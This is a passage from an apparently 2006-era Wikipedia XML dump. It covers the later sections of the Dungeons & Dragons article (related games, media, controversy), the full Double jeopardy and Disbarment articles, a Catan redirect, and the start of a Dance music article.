The elements which made up ''Dungeons &amp; Dragons'' can be seen in many hobbies of the time, though they had existed previously. Character-based roleplaying, for example, can be seen in [[historical reenactment]] and [[improvisational theatre]]. Game world simulations had been well-developed in [[wargaming]]. Fantasy milieus specifically designed for gaming could be seen in [[Glorantha]]'s board games and M.A.R. Barker's [[Tekumel]], among others. Ultimately, however, ''Dungeons &amp; Dragons'' represented a unique blending of these elements, creating its own niche and leading to the development of a multitude of role-playing games. [[Science fiction]], [[horror fiction|horror]], [[superhero]]es, [[cartoon]]s, [[western movie|westerns]], [[espionage|spies and espionage]], and many other fictional settings were adapted to role-playing games.

Over the years, many gamers have criticized various aspects of the ''Dungeons &amp; Dragons'' rules. In previous editions, clunky and inconsistent mechanics were often seen as inefficient and confusing. Trying to find solutions to these problems led to other game developers to expand on and modify aspects of the game. Within only months of ''Dungeons &amp; Dragons'''s release, new role-playing game writers and publishers began releasing their own role-playing games. The first arrivals to achieve lasting influence were [[RuneQuest]], released by [[Chaosium]] in 1976, and the science fiction role-playing game [[Traveller (role-playing game)|Traveller]], released by [[Game Designers Workshop]] in 1978. Some of the later systems include [[Chaosium]]'s ''[[Call of Cthulhu (role-playing game)|Call of Cthulhu]]'', ''[[Champions (role-playing game)|Champions]]'' by [[Hero Games]], ''[[GURPS]]'' by [[Steve Jackson Games]] and ''[[Vampire: The Masquerade]]'' by [[White Wolf, Inc.|White Wolf Game Studio]]. These games also fed back into the genre's origin, miniatures wargames, with combat strategy games like ''[[Battletech]]'', ''[[Warhammer Fantasy Battles]]'' and ''[[Warhammer 40,000]]''. [[Collectable card games]], like [[Magic: The Gathering]], were also heavily influenced by ''Dungeons &amp; Dragons'' and its legacy.

With the launch of ''Dungeons &amp; Dragons'''s [[Editions of Dungeons &amp; Dragons|3rd Edition]], Wizards of the Coast made the [[d20 System]] available under the [[Open Gaming License]] (OGL) and [[d20 Trademark License]].  Under these licenses, authors are free to use the d20 System when writing their own games and game supplements. The OGL and d20 Trademark License are also responsible for making possible new versions of older games, such as ''Call of Cthulhu'', using the new system.

==Related products==
===Magazines===
In 1975, TSR began publishing ''The Strategic Review''. At the time, roleplaying games were still seen as a sub-genre of the wargaming industry, and the magazine was designed not only to support ''Dungeons &amp; Dragons'' and TSR's other games, but also to cover wargaming in general. In short order, however, the popularity and growth of ''Dungeons &amp; Dragons'' made it clear that the game had not only separated itself from its wargaming origins, but had launched an entirely new industry unto itself. The following year, after only seven issues, TSR cancelled ''The Strategic Review'' and replaced it in 1976 with ''[[Dragon (magazine)|The Dragon]]'' (later ''Dragon Magazine''). Although Dragon Magazine was originally designed to support the roleplaying industry in general, it has always been primarily a house organ for TSR's games with a particular focus on D&amp;D. Most of the magazine's articles provide supplementary material for the game, including new races, classes, spells, traps, monsters, skills, and rules. Other articles will provide tips and suggestions for players and DMs. The magazine has also published a number of well-known, gamer-oriented comic strips over the years, including ''[[Wormy]]'', ''[[SnarfQuest]]'', ''[[Yamara]]'', ''[[Knights of the Dinner Table]]'', ''[[Nodwick]]'', and ''[[Dork Tower]]''.

In 1986, TSR launched a new magazine to complement ''Dragon''. ''[[Dungeon (magazine)|Dungeon Adventures]]'', published bimonthly, published nothing but [[Adventure (Dungeons &amp; Dragons)|adventure modules]] for Dungeons Masters. While ''Dungeon'' now publishes other kinds of material as well, ''Dungeons &amp; Dragons'' adventures remain its main focus.

Although many other magazines have partially or fully devoted themselves to supporting ''Dungeons &amp; Dragons'', ''Dragon'' and ''Dungeon'' remain the only two official publications for the game. In 2002, Wizards of the Coast licensed the two magazines to [[Paizo Publishing]].

===Films and TV===
A popular ''[[Dungeons &amp; Dragons (TV series)|Dungeons &amp; Dragons]]'' [[animated television series]] was produced in [[1983]].  The cartoon was based upon the concept of a small group of young adults and children who get transported to a D&amp;D-based fantasy realm by riding a magical roller coaster.  When they arrive, they are given potent magical weapons and must survive against the chromatic dragon [[Tiamat (fiction)|Tiamat]] and a power-hungry nemesis called [[Venger]].  They are assisted, episode by episode, by a gnome-like ally Dungeon Master and a baby unicorn named &quot;Uni&quot;.

A ''[[Dungeons &amp; Dragons (film)|Dungeons &amp; Dragons movie]]'' was released in 2000. ''[[Dungeons &amp; Dragons 2: Wrath of the Dragon God]]'', a made-for-TV sequel, was first aired on the Sci-Fi Channel on October 8th, 2005, and is scheduled for release in February 2006 on DVD. (This sequel is also known by the alternate title ''Dungeons &amp; Dragons 2: The Elemental Might''.)

In 2003, a computer animated motion picture entitled ''[[Scourge of Worlds: A Dungeons &amp; Dragons Adventure]]'' was produced for [[DVD]], featuring the iconic characters (Regdar, Mialee, and Lidda) created for the 3rd Edition. This is an interactive movie that asks viewers to decide what actions the heroes should take at crucial points in the story, allowing hundreds of different story-telling combinations. A special edition was released later that included even more choices, two additional endings, the making of the Scourge of Worlds, and the original (linear) version of film.

===Computer and video games===
Fifty-three computer games and sixteen video games (ten for consoles, four for handheld devices, and two arcade games) had been released and sold under the ''D&amp;D'' license [[as of 2004|as of October 2004]]. Almost half of these games were developed by [[Strategic Simulations, Inc.]] (SSI). Most, but not all, are [[computer role-playing games]] that use rules derived from some version of the ''D&amp;D'' rules. Notable titles include

* ''Advanced Dungeons &amp; Dragons Cartridge'', designed for the [[Intellivision]], was the first computer console game based on the ''D&amp;D'' license.
* ''[[Pool of Radiance]]'' ([[1988]]) was the first ''D&amp;D'' computer game. Designed by SSI, the same game engine would be used to develop ten more ''D&amp;D'' games. It was followed by a sequel ''[[Pool of Radiance#Pool of Radiance: Ruins of Myth Drannor|Pool of Radiance: Ruins of Myth Drannor]]'', released in [[2001]] from [[Ubisoft]]
* ''[[Eye of the Beholder (computer game)|Eye of the Beholder]]'' ([[1990]]) was the first in a trilogy of popular games designed by [[Westwood Studios]] and published by SSI in the early [[1990s]].
* ''[[Neverwinter Nights#History|Neverwinter Nights]]'', ([[1991]]-[[1997]]) was developed by [[Stormfront Studios]] and was the first graphical [[MMORPG]], paving the way for derivative games including ''[[Ultima Online]]'' and ''[[Everquest]]''.  The game was a major hit, and the name and settings formed the basis for the ''Neverwinter Nights'' PC game (see below).
* ''[[Baldur's Gate series|Baldur's Gate]]'' ([[1998]]) was the first ''D&amp;D'' computer game developed using [[Bioware]]'s Infinity Engine to be published by [[Interplay]]. It met with critical success and was followed by several more ''D&amp;D'' games, including a sequel (''[[Baldur's Gate series#Baldur's Gate II: Shadows of Amn |Baldur's Gate 2: Shadows of Amn]]''), similarly developed by Bioware with ''[[Icewind Dale series|Icewind Dale]]'', ''[[Icewind Dale II]]'' and ''[[Planescape: Torment]]'' developed by Interplay's [[Black Isle Studios]].
* ''[[Neverwinter Nights]]'' ([[2002]]), also developed by BioWare, was the first faithful implementation of the 3rd Edition rules in a [[CRPG]]. The game included sophisticated design tools which allowed Dungeon Masters to design unique scenarios, or modules, much as they would for the tabletop game itself.  Over 3000 of these user-created modules have been released onto the internet.
* ''[[The Temple of Elemental Evil (computer game)|The Temple of Elemental Evil]]'' ([[2003]]), developed by [[Troika Games]], was based on the 1985 [[Temple of Elemental Evil|module]] of the same name. The game used the ''v 3.5'' rules and implemented a true turn-based combat system that reproduced the core book rules more precisely than any other previous ''D&amp;D'' [[CRPG]]. However, the game was plagued by incomplete/broken content and numerous bugs, making it an unpopular title.
* ''[[Dungeons &amp; Dragons Online]]'' is an [[MMORPG]] based on the [[Eberron]] campaign setting. It is currently being developed by [[Turbine Inc|Turbine]]. The game is currently on the 'Head Start Event', and is scheduled for a February 28th 2006 release.

For a full list of licensed ''D&amp;D'' computer and video games, see [[List of Dungeons &amp; Dragons computer and video games]]. Many other CRPGs, including the numerous [[Roguelike]] games, [[MUD]]'s (Multi-User Dungeons) and [[MMORPG]]'s (Massively Multiplayer Online Role-Playing Game) are based on the D&amp;D game. One popular example was the [[Wizardry]] series that was first released on the [[Apple II]] in the [[1980s]] and eventually became available on the [[Commodore 64]] and [[IBM PC]] under [[DOS]] and [[Microsoft Windows]]

===Novels===
Several hundred [[novel]]s have been published based upon ''Dungeons &amp; Dragons''.

* Fantasy Grand Master [[Andre Norton]]'s novel ''Quag Keep'', published in 1978, was set in [[Greyhawk]], making it the first novel to use a ''D&amp;D'' campaign setting.
* Throughout the early 1980s, TSR printed several series of &quot;[[Choose Your Own Adventure]]&quot;-style novels under the [[Endless Quest]], [[Super Endless Quest]], [[Heart Quest Books]], and [[1 on 1 Adventure Gamebooks]] trademarks. Most of these books were based on ''D&amp;D'', although some were based on other TSR role-playing games.
* The [[Dragonlance|Dragonlance Chronicles]] trilogy by [[Margaret Weis]] and [[Tracy Hickman]], published in 1984, were the first major novels published by TSR.
* ''D&amp;D'' creator Gary Gygax's series of [[Gord the Rogue]] novels, published from 1985 to 1988, was set in his Greyhawk campaign setting.
* Author [[R. A. Salvatore]] wrote a number of books based in the [[Forgotten Realms]] campaign setting, including 17 that feature his famed character [[Drizzt Do'Urden]].
* From 2002 to 2004, a series of interlinking novels focusing upon the iconic characters of the 3rd Edition were published. These books were written by a variety of WotC authors under the pseudonym [[T.H. Lain]].

===Comics===
During the [[1980s]] and [[1990s]], [[DC Comics]] published several licensed ''D&amp;D'' comics, including ''[[Advanced Dungeons &amp; Dragons (comic)|Advanced Dungeons &amp; Dragons]]'', ''[[Forgotten Realms (comic)|Forgotten Realms]]'', and ''[[Spelljammer (comic)|Spelljammer]]''.

After the release of the 3rd Edition, [[Kenzer &amp; Company|KenzerCo]], better known for the popular gaming comic ''[[Knights of the Dinner Table]]'', secured the licensing rights to produce official ''D&amp;D'' comics. Using the license, they produced a number of different mini-series.  One notable mini-series for this comic line entitled ''Tempest's Gate'' was authored by Sean Smith. It featured memorable iconic characters of D&amp;D such as ''Zed Kraken'', a powerful and influential magus.[http://www.kenzerco.com/periodicals/dnd/tg.php]

In 2002, Iron Hammer Graphics published the single-issue comic ''Vecna:  Hand of the Revenent''.  In 2005, the license passed to [[Devil's Due Productions]]. Starting in June of that year, Devil's Due began releasing official adaptations of ''D&amp;D'' tie-in novels, starting with Salvatore's ''Dark Elf Trilogy''.

===Board games===
Several [[board games]] have been sold either under the ''Dungeons &amp; Dragons'' trademark or in association with it:

* [[Dungeons &amp; Dragons Computer Labyrinth Game]]  (1980) This was the first computer/board game hybrid and the first ''D&amp;D'' licensed game that contained digital electronics.  
* [[DragonStrike (board game)|DragonStrike]] (1993) used a simplified form of ''D&amp;D'' and included an instructional [[video tape]] in which costumed actors, combined with [[computer-generated imagery]], played the characters and monsters from the board game.
* [[Dungeon]] (1975), a board game published by TSR, featured similar gameplay and genre tropes to ''D&amp;D'' and was frequently advertised in ''D&amp;D'' products.
* [[Dungeons &amp; Dragons Fantasy Adventure Boardgame]] (2002) Cooperative dungeon crawl game in which a party of four heroes strives to complete adventures that the Dungeon Master puts before them (In the Style of [[HeroQuest]]). Two expansions have been released for this game:
** Eternal Winter (2004)
** Forbidden Forest (2005)
* Dungeons and Dragons Clue (2001) Standard [[Cluedo|Clue]] with a D&amp;D fantasy theme and optional wandering monsters.
* [[Dungeons &amp; Dragons Basic Game]] (2004) A simplified version of the Dungeons and Dragons roleplaying game, designed as an introduction to roleplaying, but is in essence a boardgame in the style of presentation.
* Dungeons &amp; Dragons Adventure Game (2000) Based upon the roleplaying system D&amp;D here we have an typical dungeon crawl game.
* Introduction to Advanced Dungeons &amp; Dragons (1995) An introductory board version of the AD&amp;D system via basic scenarios played with miniatures (plastic, included), and a campy/nifty CD for both ambiance and automated DM instructions.
* The New Easy to Master Dungeons &amp; Dragons (1991) This game is in a way an introduction to RPG but is played as a board game. Three expansions were released for it: Dragon's Den, Haunted Tower, Goblin's Lair.

==References in popular culture==
{{main|List of Dungeons &amp; Dragons pop culture references}}
As the popularity of ''D&amp;D'' grew throughout the late-'70s and '80s, references to the game often began to appear in popular culture. For example, in the movie ''[[E.T. the Extra-Terrestrial|E.T.]]'', several of the young characters are shown playing the game. 

More typically, ''D&amp;D'' players are seen as the epitome of [[geek]]dom, and references to the game are used as a shorthand to establish characterization (as in the movie ''[[Airheads]]'') or provide the punchline of a joke (for example, on ''[[Saturday Night Live]]''). Many players, miffed with this stereotype, embrace the fact that film stars [[Vin Diesel]], [[Robin Williams]], and [[Stephen Colbert]] have confessed to playing ''D&amp;D''. 

The TV Series [[Futurama]] also contained numerous references to Dungeons &amp; Dragons, including an animated appearance by Gary Gygax himself.

It should also be noted that ''D&amp;D'' is frequently parodied, with parodies of the game existing in nearly all media, including [http://www.deadgentlemen.com/ film], [http://snltranscripts.jt.org/89/89jlothar.phtml television], and [[Order of the Stick|cartoons]], among others.  Much of the potential for parody in ''Dungeons &amp; Dragons'' may exist because, with its heroic millieu and imagination-based gameplay, it exaggerates the gap between the actuality of the players' self-image and the grandiose personas they adopt in gameplay [http://caliber.ucpress.net/doi/pdf/10.1525/si.2004.27.3.333] ([[Portable Document Format|PDF]]).

==Controversy and notoriety==
[[Image:Jack_chick_dark_dungeons.JPG|thumb|380px|right|In ''[[Chick Publications|Dark Dungeons]]'' by [[Jack Chick]], a girl gets involved in [[witchcraft]] through playing D&amp;D. Later she converts to [[Christianity]] and rejects the game. In these frames D&amp;D materials are [[book burning|burnt]] at a Christian gathering.  The man is shown attempting to banish the evil game by invoking the power of a deity through a ritual of words and hand gestures.  Ironically, this is not much different than a D&amp;D player character casting a clerical spell.]]

The game's commercial success led to lawsuits between Arneson and Gygax starting in 1979, over issues of royalties, particularly for ''AD&amp;D'' for which Arneson was not given credit by TSR.  Those suits were settled out of court by 1981.

The game also achieved notoriety, particularly in the 1980s, due to its alleged promotion of [[devil worship]], [[witchcraft]], [[suicide]], and [[murder]]. Some [[Evangelical Christians]] have criticized Dungeons &amp; Dragons for encouraging interest in sorcery and demonic creatures. Many of these criticisms, though mentioning &quot;Dungeons &amp; Dragons&quot; by name, were actually aimed at [[Role-playing game|RPG's]] or the [[fantasy]] genre in general and are covered in the [[History of role-playing games#Controversy|History of role-playing games article.]]

The controversy involving occult influences led TSR to remove lengthy references to [[demon]]s, [[devil]]s, and other supernatural monsters commonly associated with &quot;sorcery&quot; in the 2nd Edition of ''AD&amp;D''. Many of these aspects were returned to the game with the release of the 3rd Edition. A few products have gone into even further detail on the activities of demons and demon worshippers than those of previous editions; the more extreme, like the ''[[Book of Vile Darkness]],'' bear a &quot;For Mature Audiences Only&quot; label.

Though religious groups have alleged promotion of satanic and evil ideas, the original '''AD&amp;D''' rules actually provided for an equal balance of power between the capabilities of good and evil forces.  This equipotential view of good and evil, itself controversial to some groups, continues to be found in newer editions of the game; for example, the ''[[Book of Exalted Deeds]]'' also bears a &quot;For Mature Audiences Only&quot; label.

[[Judges Guild]] actually had a license to create '''AD&amp;D'''-compatible items. When said license was then pulled by [[TSR, Inc.|TSR]], [[Judges Guild]] was ruined. [[Grimoire Games]], which published [[David A. Hargrave]]'s multi-volume [[Arduin]] series, had no such license, and when legally challenged by TSR to [[cease and desist]], relied on white-out and typing correction tape to mask its use of '''AD&amp;D''' references in subsequent printings of the [[Arduin]] series.

The game ran afoul of copyright issues with respect to the [[Cthulhu Mythos]] and [[Elric of Melniboné|Melnibonéan Mythos]] in early versions of the ''[[Deities &amp; Demigods]]'' manual.  These problems were ultimately resolved by excising the material from later editions of the manual.

==See also==
* [[Role-playing games]]
* [[Live action role-playing game]]
* [[Jeff Dee]], [[Erol Otus]], [[Jim Roslof]], [[David S. LaForce]], [[David C. Sutherland III]] and [[David A. Trampier]], early ''Dungeons &amp; Dragons'' artists
* [[Character class (Dungeons &amp; Dragons)]]
* [[Spells of Dungeons &amp; Dragons]]
* [[Story Teller Discretion]]

==References==
* Fannon, Sean Patrick. ''The Fantasy Role-Playing Gamer's Bible, 2nd Edition''. Obsidian Studios, 2000.
* Gygax, Gary. ''Roleplaying Mastery''. New York, NY: Perigee, 1987.
* Gygax, Gary. ''Master of the Game''. New York, NY: Perigee, 1989.
*{{cite book | first = David | last = Cook | authorlink =  | coauthors =  | year = 1989 | month = | title = Advanced Dungeons &amp; Dragons 2nd Edition Player's Handbook | editor =  | others =  | edition =  | publisher = [[TSR, Inc.]] | location = | id =  | url = }}
* Gygax, Gary. &quot;Editorial.&quot; Dragon Magazine 95: 12. (on influence from Tolkien)
* Jaffe, Rona. ''Mazes and Monsters''. New York, NY: Delacorte Press, 1981.
* Schick, Lawrence. ''Heroic Worlds: A History and Guide to Roleplaying Games''. Amherst, NY: Prometheus Books, 1991.
* [http://news.bbc.co.uk/2/hi/uk_news/magazine/3655627.stm BBC article on the history of ''Dungeons &amp; Dragons'']
* [http://pc.gamespy.com/articles/538/538848p1.html?fromint=1 Gamespy's 30th Anniversary of ''Dungeons &amp; Dragons'' special]
* [http://www.acaeum.com/ The Acaeum] &amp;ndash; detailed information on pre-AD&amp;D2 editions of the game
* [http://www.rpg.net/news+reviews/wotcdemo.html Adventure Game Industry Market Research Summary V1.0]
* [http://archive.salon.com/tech/feature/2000/03/29/open_dungeon/index.html Opening the Dungeon] &amp;ndash; an article about the conflict over the proprietary or open-source nature of ''Dungeons &amp; Dragons''
* [http://www.classicgaming.com/gotcha/ssi.htm Classic Gaming Feature on SSI]

==External links==
* [http://www.wizards.com/ Wizards of the Coast] &amp;ndash; owner and publisher of Dungeons &amp; Dragons which is owned by Hasbro.
* [http://home.flash.net/~brenfrow/index.htm TSR Archive] &amp;ndash; a catalogue of (almost) everything produced for D&amp;D (all editions, including d20).  Started as a catalog of TSR titles, but has grown to include just about every publisher of D&amp;D works.  Presents cover pictures, back cover blurb and publishing info.
* [http://www.d20srd.org/ The Hypertext d20 SRD] &amp;ndash; Dungeons &amp; Dragons rules available online
* [http://www.rpgstudies.net/ Studies about fantasy role-playing games] - a list of academic articles about RPGs
* [http://www.rpg.net/sites/252/quellen/stackpole/pulling_report.html The Pulling Report by Michael A. Stackpole] - one of the first online articles totally debunking the claims of Pulling and BADD
* [http://www.geocities.com/TimesSquare/Arcade/2964/ Christian Gamers Guild] (formerly the Christian Role-Playing Gamers Association)- RPGing from a Christian perspective that does not brand all RPGs as 'evil'
*[http://www.boston.com/news/globe/editorial_opinion/oped/articles/2004/11/15/dungeons_and_dragons_we_love_you/ How 'Dungeons' Changed the World] - ''Boston Globe'' editorial
===Community sites===
* [http://www.enworld.org/ EN World] &amp;mdash; D&amp;D/[[d20]] News and Reviews
* [http://www.opengamingworld.com/ Open Gaming World] forums
* [http://www.dmchronicles.com/ Dragonmark Chronicles] Eberron Campaign HQ

[[Category:Dungeons &amp; Dragons| ]]
[[Category:Origins award winners]]

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  <page>
    <title>Double jeopardy</title>
    <id>7941</id>
    <revision>
      <id>42116200</id>
      <timestamp>2006-03-03T22:52:14Z</timestamp>
      <contributor>
        <username>BDAbramson</username>
        <id>196446</id>
      </contributor>
      <minor />
      <comment>disambig fix ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">{{alternateuses}}
{{CrimPro}}
'''Double jeopardy''' (also called &quot;[[autrefois acquit]]&quot; meaning &quot;already acquitted&quot;) is a [[procedural defense]] (and, in many countries such as the [[United States]], [[Canada]] and [[India]], a [[constitution]]al right) that forbids a [[defendant]] from being [[trial (law)|tried]] a second time for a crime, after having already been tried for the same crime. At common law a defendant can plead ''autrefois acquit'' or ''autrefois convict''; meaning the defendant has been acquitted or convicted of the same offence previously.

==Double jeopardy by country==
===Australia===
Australian double jeopardy jurisprudence is very similar to other common law countries. While there is no constitutional protection against re-trials following acquittal, there have been few examples of statutory exceptions. 

In all state jurisdictions prosecutors can appeal against the sentence handed down by the trial judge and in South Australia and Tasmania the prosecution can appeal against an error of law made by the trial judge in certain situations. However the aquittal will still stand valid and the purpose of the appeal is merely to clarify the relevant law for future cases.

In contrast to other common law jurisdictions, Australian double jeopardy law has been held to extend to prevent prosecution for perjury following a previous acquittal where a finding of perjury would controvert the previous acquittal. This was confirmed in the case of ''[[The Queen v Carroll]]'', where the police found new evidence convincingly disproving Caroll's sworn alibi two decades after he had been acquitted of the murder of a young girl and successfully prosecuted him for perjury. Public outcry following the overturning of his conviction by the High Court has led to widespread calls for reform of the law along the lines of the UK legislation.

===Canada===
{{sectstub}}
The [[Canadian Charter of Rights and Freedoms]] includes provisions such as [[Section Eleven of the Canadian Charter of Rights and Freedoms|section 11(h)]] prohibiting double jeopardy.  But often this prohibition only applies after the trial is finally concluded - in contrast to the laws of the United States, [[Canada|Canadian]] law allows the prosecution to appeal from an acquittal.  If the acquittal is thrown out, the new trial is not considered to be double jeopardy because the first trial and its judgement would have been annulled.  In rare circumstances, a court of appeal might also substitute a conviction for an acquittal.  This is not considered to be double jeopardy either - in this case the appeal and subsequent conviction are deemed to be a continuation of the original trial.

===Europe===
All members of the [[Council of Europe]] (which includes nearly all European countries, and all members of the [[European Union]]) have signed the [[European Convention of Human Rights]], which protects against double jeopardy. The Seventh Protocol, Article Four, says:
&lt;blockquote&gt;
No one shall be liable to be tried or punished again in criminal proceedings under the jurisdiction of the same State for an [[offence]] for which he has already been finally [[acquittal|acquitted]] or [[conviction (law)|convicted]] in accordance with the law and penal procedure of that State.
&lt;/blockquote&gt;
This specific optional protocol has been ratified by all EU states except six (namely [[Belgium]], [[Germany]], [[The Netherlands]], [[Portugal]], [[Spain]] and the [[United Kingdom]]). Those members states may still have the provision in their respective constitutions (if any) providing a prohibition against double jeopardy.

In many European countries the prosecution may appeal an acquittal to a higher court (similar to the provisions of Canadian law) - this is not counted as double jeopardy but as a continuation of the same trial.  This is allowed by the European Convention of Human Rights - note the word ''finally'' in the above quote.

====France====
Once all appeals have been exhausted on a case, the judgment is final and the action of the prosecution is closed (code of penal procedure, art. 6), except if the final ruling was [[forgery|forged]]. Prosecution for an already judged crime is impossible even though new incriminating evidence has been found. However, a person who has been convicted may request another trial on grounds of new exculpating evidence.

====United Kingdom====
The [[Parliament of the United Kingdom]] passed legislation in the [[Criminal Justice Act 2003]] introduced by then [[Home Secretary]] [[David Blunkett]] to abolish the previously strict form of prohibition of double jeopardy.  Retrials are now allowed if there is 'new and compelling evidence'. All cases must be approved by the [[Director Of Public Prosecutions]] and the [[Court Of Appeal]] must agree to quash the original acquittal.[http://www.cps.gov.uk/legal/section19/chapter_j.html]

===India===
{{sectstub}}
In India, protection against double jeopardy is a [[Fundamental Rights of India|Fundamental Right]] under [[Fundamental Rights, Directive Principles and Fundamental Duties of India#Right to Freedom|Right to Freedom]].It is a fundamental right guaranteed under .The provision enshrines the principle that a person cannot be tried twice for same offence by the equally competent court.Thus aperson cannot be tried for the offence of which he had been tried and acquitted or convicted.

===United States===
The phrase &quot;double jeopardy&quot; stems from the [[Fifth Amendment to the United States Constitution|Fifth Amendment]] to the [[United States Constitution|U.S. Constitution]]: &quot;nor shall any person be subject for the same offence to be twice put in jeopardy of life or limb.&quot;  This clause is intended to limit prosecutorial abuse by the [[government]] in repeated [[prosecution]] for the same offense, as a means of harassment or oppression.  It is also in harmony with the [[common law]] concept of ''[[res judicata]],'' which prevents courts from relitigating issues and claims that have already been the subject of a final judgment.

There are three essential protections included in double jeopardy:  protection from being retried for the same crime after an acquittal; protection from retrial after a conviction; and protection from being punished multiple times for the same offense.

This law is occasionally referred to as a [[legal technicality]], because it allows defendants a defense that does not address whether the crime was actually committed.  For example, were police to uncover new evidence conclusively proving the guilt of someone previously acquitted, there is little they can do because the defendant may not be tried again (at least, not on the same or substantially similar charge) ''[[Fong Foo v. United States]]'', [[Case citation|369 U.S. 141 ]] (1962).

Though the Fifth Amendment applies only to the federal government, the [[Supreme Court of the United States|Supreme Court]] has ruled that the double jeopardy clause applies to the [[U.S. state|states]] as well, through [[due process#Incorporation|incorporation]] by the [[Fourteenth Amendment to the United States Constitution|Fourteenth Amendment]].

Jeopardy attaches in a [[jury trial]] once the jury and alternates are impanelled and sworn in. In a [[non-jury trial]], jeopardy attaches once the first evidence is put on, which occurs when the first [[witness]] is sworn.

Some solace can be found in the fact that in many cases, Civil Trials, where the burden of proof is substantially lower, have resulted in some criminally not-guilty defendants have been found liable for wrongful death.  

====Exceptions to double jeopardy====
As double jeopardy only applies to charges that were the subject of an earlier ''final'' judgment, there are many situations in which it does not apply despite the appearance of a retrial.  For example, a second trial held after a [[mistrial]] does not violate the double jeopardy clause, because a mistrial ends a trial prematurely without a judgment of guilty or not guilty.  [[Legal case|Cases]] which have been [[case dismissal|dismissed]] because of insufficient evidence may constitute a final judgment for these purposes, though many state and federal laws allow for limited prosecutorial appeals from these orders.  A re-trial after a conviction has been reversed on appeal also does not violate double jeopardy, because the judgment in the first trial has been invalidated.  In both of these cases, however, the previous trials do not entirely vanish.  Testimony from them may be used in later retrials, such as to impeach contradictory testimony given at any subsequent proceeding.

There are two exceptions to the general rule that the prosecution cannot appeal from an acquittal.  If the earlier trial is proven to be a fraud or sham, double jeopardy will not prohibit a new trial. In ''[http://caselaw.lp.findlaw.com/cgi-bin/getcase.pl?court=7th&amp;navby=case&amp;no=972479 Harry Aleman v. Judges of the Criminal Division, Circuit Court of Cook County, Illinois, et al.]'', [[Case citation|183 F.3d 302]] ([[1998]]), an appeals court ruled that a man who bribed his trial [[judge]] and was acquitted of murder was allowed to be tried again, because his bribe prevented his first trial from actually putting him in jeopardy.  The other exception is that prosecutors may appeal when a trial judge sets aside a jury verdict for conviction with a ''judgment notwithstanding the verdict'' for the defendant.  A successful appeal by the prosecution would simply reinstate the jury verdict, and so would not place the defendant at risk of another trial.

The [[Supreme Court of the United States|Supreme Court]] has also upheld laws allowing the government to appeal criminal sentences in limited circumstances (such as 18 U.S.C. 3742(b)).  The Court ruled that sentences were not accorded the same constitutional finality as jury verdicts under the double jeopardy clause, and giving this right of appeal also did not put the defendant at risk of a succession of prosecutions.

Double jeopardy is also not implicated for separate offenses or in separate jurisdictions arising from the same act.  For example, in ''[http://caselaw.lp.findlaw.com/scripts/getcase.pl?court=us&amp;vol=503&amp;invol=378 United States v. Felix]'' ([[1992]]), the [[Supreme Court of the United States|Supreme Court]] ruled: &quot;a[n]...[[crime|offense]] and a [[conspiracy (criminal)|conspiracy]] to commit that offense are not the same offense for double jeopardy purposes.&quot;  

As another example, a state might try a defendant for [[murder]], after which the federal government might try the same defendant for a federal crime (perhaps a [[civil rights]] violation or [[kidnapping]]) related to the same act. For example, the [[Los Angeles Police Department]] officers who beat up black motorist [[Rodney King]] in [[1991]] were acquitted by a [[county]] court of the accusation of [[assault]]; some were later convicted and sentenced in federal court for violating his civil rights.  Similar techniques were used for prosecuting racially-motivated crimes in the [[U.S._Southern_States|Southern United States]] in the [[1960s]] during the time of the [[Civil Rights Movement]], when those crimes had not been actively prosecuted, or had resulted in acquittals by juries thought to be racist or sympathetic to the accused, in local courts. 

The &quot;separate sovereigns&quot; exception to double jeopardy arises from the unique nature of the American federal system, in which states are considered to be sovereigns with plenary power that have relinquished a number of enumerated powers to the federal government.  Double jeopardy attaches only to prosecutions for the same criminal act by the same sovereign, but as separate sovereigns, both the federal and state governments can bring separate prosecutions for the same act.  For example, [[Timothy McVeigh]] was executed by the federal government for murdering eight federal [[employee]]s with a [[bomb]], but could also have been tried in state court for murdering numerous other persons in the same explosion.

Double jeopardy also does not attach if the later charge is civil rather than criminal in nature, which involves a different legal standard.  Acquittal in a criminal case does not prevent the defendant from being the defendant in a civil suit relating to the same incident (though ''[[res judicata]]'' operates within the [[Civil law (legal system)|civil law]] system.)  For example, [[O.J. Simpson]] was acquitted of double homicide in a [[California]] criminal prosecution, but lost a wrongful death civil claim brought over the same victims.  If the defendant happened to be on [[parole]] from an earlier offense at the time, the act for which he was acquitted may also be the subject of a parole violation hearing, which is not considered a criminal trial and is also subject to a lower standard of proof.

==See also==
*Dutch and German law: [[Ne bis in idem]]

==External links==
* [http://caselaw.lp.findlaw.com/data/constitution/amendment05/ FindLaw Annotation]

[[Category:Rights of the accused]]
[[Category:Legal terms]]

[[de:Ne bis in idem]]</text>
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  </page>
  <page>
    <title>Disbarment</title>
    <id>7942</id>
    <revision>
      <id>25543554</id>
      <timestamp>2005-10-14T23:30:55Z</timestamp>
      <contributor>
        <username>Furrykef</username>
        <id>17163</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Disbarment''' is a penalty for [[lawyer]]s.  It consists of no longer being allowed to practice [[law]] or argue [[case]]s. For most lawyers, this can essentially mean no longer having a livelihood.  

Generally disbarment is imposed as a sanction for conduct indicating that an attorney is not fit to practice law, such as being convicted of a [[felony]], willfully disregarding the interests of a client, or engaging in fraud which impedes the administration of justice.  

In the [[United States]] legal system, disbarment is specific to regions; one can be disbarred from some courts, while still being a member of the bar in another jurisdiction. However, under the [[American Bar Association]]'s [[American Bar Association Model Rules of Professional Conduct|Model Rules of Professional Conduct]], which have been adopted in most states, disbarment in one state or court is grounds for disbarment in a jurisdiction which has adopted the Model Rules.

Disbarment is quite rare.  Instead, lawyers are usually sanctioned by their own clients through civil malpractice proceedings, or via fine, censure, suspension, fines, or other punishments from the disciplinary boards.

[[Category:Legal ethics]]</text>
    </revision>
  </page>
  <page>
    <title>Siedler von Catan</title>
    <id>7943</id>
    <revision>
      <id>15905976</id>
      <timestamp>2003-05-25T19:10:45Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[Settlers of Catan]]</text>
    </revision>
  </page>
  <page>
    <title>Dance music</title>
    <id>7944</id>
    <revision>
      <id>41689515</id>
      <timestamp>2006-03-01T02:01:16Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Dance music''' is [[music]] composed, played, or both, specifically to accompany social [[dance|dancing]]. It can be either the whole musical piece or part of a larger musical arrangement.

